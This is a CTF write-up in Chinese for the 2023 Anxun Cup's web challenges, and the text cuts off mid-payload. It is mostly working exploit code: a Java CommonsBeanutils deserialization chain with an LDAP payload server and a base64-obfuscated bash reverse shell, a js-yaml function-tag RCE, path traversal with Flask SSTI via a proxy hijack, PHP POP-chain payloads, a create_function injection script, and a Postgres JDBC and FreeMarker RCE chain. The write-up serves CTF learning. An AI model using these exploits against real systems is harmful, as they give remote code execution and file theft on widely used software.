2023安洵杯第六届网络安全挑战赛 WP
web
ai_java
首先通过附件帐号信件获取到帐号
通过base64或者jsfuck可获取提示js和c,审计一下js那么可以看到c函数,运行一下。获取到 github 项目地址
查找提交历史我们发现了源码
审计源码发现为 可能存在spring–boot 未授权绕过
在admin的页面下的/post_message/接口存在fastjson解析
查看具体版本发现无法直接ladp攻击,查看依赖
发现引入了shiro。使用 SerializedData + LDAP 攻击. 和无依赖 CB 进行反弹 shell
public class CB {
public static void setFieldValue(Object obj, String fieldName, Objec
t value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Comparator getValue(Object instance) throws NoSuchFiel
dException, IllegalAccessException {
Class<?> clazz = instance.getClass();
// 获取私有变量的 Field 对象
Field privateField = clazz.getDeclaredField("INSTANCE");
// 设置私有变量的访问权限
privateField.setAccessible(true);
// 获取私有变量的值
Object value = privateField.get(instance);
return (Comparator) value;
}
public static byte[] getPayload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.class.getName());
byte[] code =clazz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "tvt");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, getVa
lue(new Headers()));
Queue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] byteArray = barr.toByteArray();
String base64EncodedData = Base64.getEncoder().encodeToString(by
teArray);
System.out.println(base64EncodedData);
return byteArray;
}
}
public class evil extends AbstractTranslet {
public void transform(DOM var1, SerializationHandler[] var2) throws
TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationH
andler var3) throws TransletException {
}
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
public evil() throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
}
public class LDAPSerialServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectory
ServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationIntercep
tor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(con
fig);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-N
LS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationI
nterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResul
t result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult resu
lt, String base, Entry e ) throws Exception {
System.out.println("Send LDAP reference result for " + base +
" return CB gadgets");
e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS-
1$
String base64EncodedData = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3Jp
dHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0N
vbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbk
NvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAAST
GphdmEvbGFuZy9TdHJpbmc7eHBzcgA/Y29tLnN1bi54bWwuaW50ZXJuYWwud3MudHJhbnNw
b3J0LkhlYWRlcnMkSW5zZW5zaXRpdmVDb21wYXJhdG9yyIEeXDpxA/ECAAB4cHQAEG91dHB
1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybm
FsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlc
kkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2
YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZ
hL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdX
IAAltCrPMX+AYIVOACAAB4cAAABinK/rq+AAAANAA1CgAiACMIACQKACIAJQoAJgAnCgAHA
CgHACkHACoBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRl
cm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nlcml
hbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYm
xlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxldmlsOwEABHZhcjEBAC1MY29tL
3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAR2YXIyAQBCW0xj
b20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGl
vbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbG
FuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hb
C9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL9hcGFjaGUveG1sL2ludGVybmFsL3Nlc
mlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBADVMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEABHZhcjMBAEFMY29tL3N1bi9
vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbG
VyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sY
W5nL1N0cmluZzsHACwBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAJZXZpbC5qYXZh
BwAtDAAuAC8BAGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppOWtaWFl2ZEdOd0x6UTN
MakV4TXk0eE9Ua3VNVFE0THpnNE9EZ2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLW
l9DAAwADEHADIMADMANAwAHgAfAQAEZXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb
i9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29y
Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZ
hL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKC
lMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphd
mEvbGFuZy9Qcm9jZXNzOwEAA0NDNgEACmdldFBheWxvYWQBAAQoKVtCACEABgAHAAAAAAAE
AAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAALAAwAAAAgAAMAAAABAA0
ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAA
AAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAE
QAWAAIAAAABABcAGAADABMAAAAEAAEAFAAJABkAGgACAAoAAABAAAIAAQAAAA64AAESArYA
A1e4AARXsQAAAAIACwAAAA4AAwAAABEACQASAA0AEwAMAAAADAABAAAADgAbABwAAAATAAA
ABAABAB0AAQAeAB8AAgAKAAAAQAACAAEAAAAOKrcABbgAARICtgADV7EAAAACAAsAAAAOAA
MAAAAUAAQAFQANABYADAAAAAwAAQAAAA4ADQAOAAAAEwAAAAQAAQAdAAEAIAAAAAIAIXB0A
AN0dnRwdwEAeHEAfgANeA==";
e.addAttribute("javaSerializedData", Base64.getDecoder().dec
ode(base64EncodedData));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
我们对编译好的 CB 使 base64 编码,不直接调用.防止 jar 包时的内部 api 错误. 本地我们使用 CVE-2022-22978 绕过身份认证,使用 fastjson 的缓存绕过,实现 jndi注入
的发起.
signal
首先这个题因为是把其他文件格式转换为yaml格式然后yaml.load()
会加载为js对象,在github找js-yaml文档说明,怎么解析对象的,官网也给了例子的,这里就直接看它能解析成什么
发现能解析方法
js-yaml的version 是3.14.1 ,跟新版本提交对比
https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c
这是默认为危险模式的最后一个版本,该模式允许您使用 tag 构造任意 JS 函数。!!js/function
然后在模版渲染的地方,会自动调用对象的tostring方法
所以上传文件yaml文件内容为下面payload就行了
"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}
Swagger docs
1.读接口文档弄清楚网站功能
2.注册用户
http://47.108.206.43:40476/api-base/v0/register
{"username":"admin","password":"admin"}
3.登陆
http://47.108.206.43:40476/api-base/v0/login
{"username":"admin","password":"admin"}
4.任意文件读取
测试发现在/api-base/v0/search接口存在任意文件读取
- 读进程
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../proc/1/cmdline&type=text
- 读源码位置
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../app/run.sh&type=text
- 读源码
5.代码审计
- 发现/api-base/v0/search存在render_template_string(),可导致ssti造成rce,只需要控制渲染内容即可
- uapate()函数中存在类似于原型链污染,可以利用来修改环境变量
![image.png](https://img2023.cnblogs.com/blog/1049983/202312/1049983-20231225103127461-983389685.png)
这一步思路就是通过原型链污染,修改http_proxy环境变量,即可控制请求的响应数据来造成ssti,实现rce。
http://47.108.206.43:40476/api-base/v0/update
{
"__init__": {
"__globals__": {
"os": {
"environ": {
"http_proxy":"ip:port"
}
}
}
}
}
修改代理后即可随意发送请求(注意:得选择text才能进入渲染)
http://47.108.206.43:40476/api-base/v0/search?file=user&type=text
VPS控制请求响应:
HTTP/1.1 200 OK
{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}
此外,除了配合render_template_string()实现rce以外,还有其他师傅采用了其他方法。这里贴一个p4d0rn师傅的方法,感谢p4d0rn的支持!
easy_unserialize
被打爆了QAQ, 考虑实在不周到, 导致出现了很多非预期解, 向师傅们说抱歉了
题目:
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2;
public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}
public function __isset($arg1)
{
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
}
public function __toString()
{
$new = $this->l1;
return $new();
}
public function __get($arg1)
{
$this->ll2->ll2('b2');
}
public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}
class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2)
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}
if(isset($_POST['D0g3']))
{
unserialize($_POST['D0g3']);
}else{
highlight_file(__FILE__);
}
?>
第一点: shell脚本变量构造数字
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
if ($this->gg2)
// 故:
$g = new Good('${##}');
另: 由于本题出题人的失误, 题目中preg_match() 这里逻辑其实有问题, 导致任意赋值均可
第二点: 双重md5:
if(md5(md5($this->md5)) == 666)
md5.py:
# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.ascii_letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
value = md5.hexdigest()
if value[start: start + str_len] == substr:
# print rnds
# stop_event.set()
# 碰撞双md5
md5 = hashlib.md5(value)
if md5.hexdigest()[start: start + str_len] == substr:
print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n"
stop_event.set()
if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()
python2 md5.py "666" 0
三部分从左向右分别是源字符串、md5一次加密、md5二次加密
取符合要求(本题要求前三位为666)的md5二次加密对应的源字符串即可 (可能需要运行多次)
第三点:
if(urldecode($this->arg1)===base64_decode($this->arg1))
可以用数组绕过:
$t = new To();
$t->arg1[]=1;
也可以直接赋值为空:
$t = new To();
$t->arg1 = '';
第四点 :
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
这里先用原生类FilesystemIterator或DirectoryIterator扫目录, 再用原生类SplFileObject读flag
即:
class Flag{
public $FilesystemIterator='/'; //扫目录文件
// 或者是 public $DirectoryIterator = "glob:///F*";
}
class Flag{
public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件
以下是完整的pop链:
//原生类FilesystemIterator或DirectoryIterator扫目录:
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2;
public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}
}
class Luck{
public $l1;
public $ll2;
public $lll3;
private $md5;
public function __construct($a)
{
$this->md5 = $a;
}
}
class To{
public $t1;
public $tt2;
public $arg1;
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public $FilesystemIterator='/'; //扫目录文件
// 或者是 public $DirectoryIterator = "glob:///F*";
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l; // You::__wakeup()->Luck::__unset()
$l->lll3=$g; // Luck::__unset()->Good::__isset()
$g->g1=$t; // Good::__isset()->To::__set()
$t->tt2=$l; // To::__set()->Luck::__get()
$l->ll2=$t; // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l; // To::__call()->Luck::__toString()
$l->l1=$f; // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));
//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A18%3A%22FilesystemIterator%22%3Bs%3A1%3A%22%2F%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D
可以用FilesystemIterator类:
或者用DirectoryIterator类:
//原生类SplFileObject读文件
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2;
public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}
}
class Luck{
public $l1;
public $ll2;
public $lll3;
private $md5;
public function __construct($a)
{
$this->md5 = $a;
}
}
class To{
public $t1;
public $tt2;
public $arg1;
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42'); // 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l; // You::__wakeup()->Luck::__unset()
$l->lll3=$g; // Luck::__unset()->Good::__isset()
$g->g1=$t; // Good::__isset()->To::__set()
$t->tt2=$l; // To::__set()->Luck::__get()
$l->ll2=$t; // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l; // To::__call()->Luck::__toString()
$l->l1=$f; // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));
//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A13%3A%22SplFileObject%22%3Bs%3A20%3A%22%2FFfffLlllLaAaaggGgGg%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D
其他非预期解:
在__toString()到__invoke()衔接的时候可以直接用phpinfo:
public function __toString()
{
$new = $this->l1;
return $new(); // 可以直接调用phpinfo来读取flag
}
完整的pop链:
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2;
public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}
}
class Luck{
public $l1;
public $ll2;
public $lll3;
private $md5;
public function __construct($a)
{
$this->md5 = $a;
}
}
class To{
public $t1;
public $tt2;
public $arg1;
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$y->y1=$l; // You::__wakeup()->Luck::__unset()
$l->lll3=$g; // Luck::__unset()->Good::__isset()
$g->g1=$t; // Good::__isset()->To::__set()
$t->tt2=$l; // To::__set()->Luck::__get()
$l->ll2=$t; // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l; // To::__call()->Luck::__toString()
$l->l1='phpinfo'; // Luck::__toString()->phpinfo
echo urlencode(serialize($y));
// O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A4%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D
然后得到flag
借用一下Hyperion战队师傅的图:
what’s my name
@$miao=create_function('$a, $b', $sort_function);
- 这里有一个典型的create_function的注入
?d0g3="]);}任意代码执行;/*
- 要进入该函数需要过三个条件
- 第一个条件
if(preg_match('/^(?:.{5})*include/',$d0g3))
- 这里要求传参的第6位开始必须是include,提示了使用include函数,
?d0g3="]);}include('利用语句');任意代码执行;/*
- 第二个条件
strlen($d0g3)==substr($miao, -2)
- 匿名函数在创建后,函数变量会存储一个值从lambda_1开始,数字不断增大的字符串,且每创建一次,这个字符串数字部分都会增大,除非结束php的进程,刷新网页仍会继续计数
- 这里需要控制利用语句数目等于匿名函数数字部分后两位,可以通过脚本循环实现
- 第三个条件
$name===$miao
- 看上去很简单,和第二个条件一样,比如设定好?name=lambda_10,然后访问5次页面(创建10次匿名函数)即可,但是实际上可以通过下面的语句发现,实际上创建的匿名函数的名字前面会默认带一个\0结束符,在大多数情况下这不会造成任何影响,但是在浏览器地址栏传参时,\0将无法传入
echo var_export($miao);
- 这个问题也可以通过脚本得到解决
- 通过dirsearch或者手测,我们可以发现一个admin.php,使用伪协议包含发现里面有大量的假flag(100万行),考虑使用strip_tags过滤掉大量的php标签内的无关信息
- 由此得出脚本(需要跑一会儿才出得来)
import requests
import re
url=input("请输入地址:")
while 1:
a=requests.get(url+"?d0g3=%22]);}include(%27php://filter/read=string.strip_tags/resource=admin.php%27);echo 'aaaaaa';/*&name=\0lambda_187")
if"aaaaaa" in a.text:
break
print("尝试中")
print(re.sub("aaaaaa",'',re.sub(r"<code>[\s\S]*?</code>",'',a.text)))
ez_java
根据pom.xml,环境存在CB、postgresql依赖,不难想到可以通过CB链来调用getter方法来触发postgresql JDBC攻击,对应的getter方法为BaseDataSource#getConnection
由于环境不出网,只能选择postgresql JDBC的logger链去写文件。这个可以选择通过覆盖/app/templates/index.ftl打模板注入
但需要注意的是BaseDataSource反序列化逻辑,首先是geturl方法,会把扩展参数和数据库名部分进行一次urlencode导致模板标签被编码掉,读者自行去阅读相关逻辑,进行分析调试
这里可以重写org.postgresql.ds.common.BaseDataSource,将模板注入payload放到serverNames位置避免被编码,重写部分如下:
text为freemaker模版rce的payload
其次就是触发compare,由于PriorityQueue在黑名单中,这里用treeMap#get来触发compare方法,这里用CC7相关部分触发一哈Map#get
exp
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import org.postgresql.ds.PGSimpleDataSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.URLEncoder;
import java.util.*;
import static org.example.Tools.setFieldValue;
public class Main {
public static void main(String[] args) throws Exception {
//设置扩展参数
PGSimpleDataSource pgSimpleDataSource = new PGSimpleDataSource();
pgSimpleDataSource.setProperty("connectTimeout","100000000000000000");
pgSimpleDataSource.setProperty("loggerFile", "/app/templates/index.ftl");
pgSimpleDataSource.setProperty("loggerLevel", "DEBUG");
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, "property", "connection");
HashMap gadgetHashMap = new HashMap();
gadgetHashMap.put(pgSimpleDataSource, null);
TreeMap treeMap = makeTreeMap(beanComparator);
HashMap hashMap1 = new HashMap();
hashMap1.put("AaAaAa", treeMap);
hashMap1.put("BBAaBB", gadgetHashMap);
HashMap hashMap2 = new HashMap();
hashMap2.put("AaAaAa", gadgetHashMap);
hashMap2.put("BBAaBB", treeMap);
Hashtable table = new Hashtable();
setFieldValue(table, "count", 2);
Class nodeC = Class.forName("java.util.Hashtable$Entry");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, hashMap1, 1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, hashMap2, 2, null));
setFieldValue(table, "table", tbl);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(table);
oos.close();
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));
// ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
// ObjectInputStream ois = new Security(in);
// Object ob = ois.readObject();
}
public static TreeMap makeTreeMap(Comparator beanComparator) throws Exception {
TreeMap treeMap = new TreeMap(beanComparator);
setFieldValue(treeMap, "size", 1);
setFieldValue(treeMap, "modCount", 1);
Class EntryC = Class.forName("java.util.TreeMap$Entry");
Constructor EntryCons = EntryC.getDeclaredConstructor(Object.class, Object.class, EntryC);
EntryCons.setAccessible(true);
setFieldValue(treeMap, "root", EntryCons.newInstance("nivia", 1, null));
return treeMap;
}
}
攻击:
/read?exp=rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAACHcIAAAAAgAAAAJzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAnQABkFhQWFBYXNxAH4AAj9AAAAAAAAMdwgAAAAQAAAAAXNyACRvcmcucG9zdGdyZXNxbC5kcy5QR1NpbXBsZURhdGFTb3VyY2XHvJ7A3bo18QMAAHhwdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQBMmxvY2FsaG9zdC8%2Fbml2aWE9PCNhc3NpZ24gYWM9c3ByaW5nTWFjcm9SZXF1ZXN0Q29udGV4dC53ZWJBcHBsaWNhdGlvbkNvbnRleHQ%2BPCNhc3NpZ24gZmM9YWMuZ2V0QmVhbignZnJlZU1hcmtlckNvbmZpZ3VyYXRpb24nKT48I2Fzc2lnbiBkY3I9ZmMuZ2V0RGVmYXVsdENvbmZpZ3VyYXRpb24oKS5nZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcigpPjwjYXNzaWduIFZPSUQ9ZmMuc2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoZGNyKT4keyJmcmVlbWFya2VyLnRlbXBsYXRlLnV0aWxpdHkuRXhlY3V0ZSI%2FbmV3KCkoImNhdCAvZmxhZyIpfXQAAHQBITwjYXNzaWduIGFjPXNwcmluZ01hY3JvUmVxdWVzdENvbnRleHQud2ViQXBwbGljYXRpb25Db250ZXh0PjwjYXNzaWduIGZjPWFjLmdldEJlYW4oJ2ZyZWVNYXJrZXJDb25maWd1cmF0aW9uJyk%2BPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT48I2Fzc2lnbiBWT0lEPWZjLnNldE5ld0J1aWx0aW5DbGFzc1Jlc29sdmVyKGRjcik%2BJHsiZnJlZW1hcmtlci50ZW1wbGF0ZS51dGlsaXR5LkV4ZWN1dGUiP25ldygpKCJjYXQgL2ZsYWciKX1wdXIAAltJTbpgJnbqsqUCAAB4cAAAAAEAAAAAc3IAFGphdmEudXRpbC5Qcm9wZXJ0aWVzORLQenA2PpgCAAFMAAhkZWZhdWx0c3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cQB%2BAAA%2FQAAAAAAACHcIAAAACwAAAAN0AAtsb2dnZXJMZXZlbHQABURFQlVHdAAKbG9nZ2VyRmlsZXQAGC9hcHAvdGVtcGxhdGVzL2luZGV4LmZ0bHQADmNvbm5lY3RUaW1lb3V0dAASMTAwMDAwMDAwMDAwMDAwMDAweHB4cHh0AAZCQkFhQkJzcgARamF2YS51dGlsLlRyZWVNYXAMwfY%2BLSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmJlYW51dGlscy5CZWFuQ29tcGFyYXRvcuOhiOpzIqRIAgACTAAKY29tcGFyYXRvcnEAfgAaTAAIcHJvcGVydHl0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyACpqYXZhLmxhb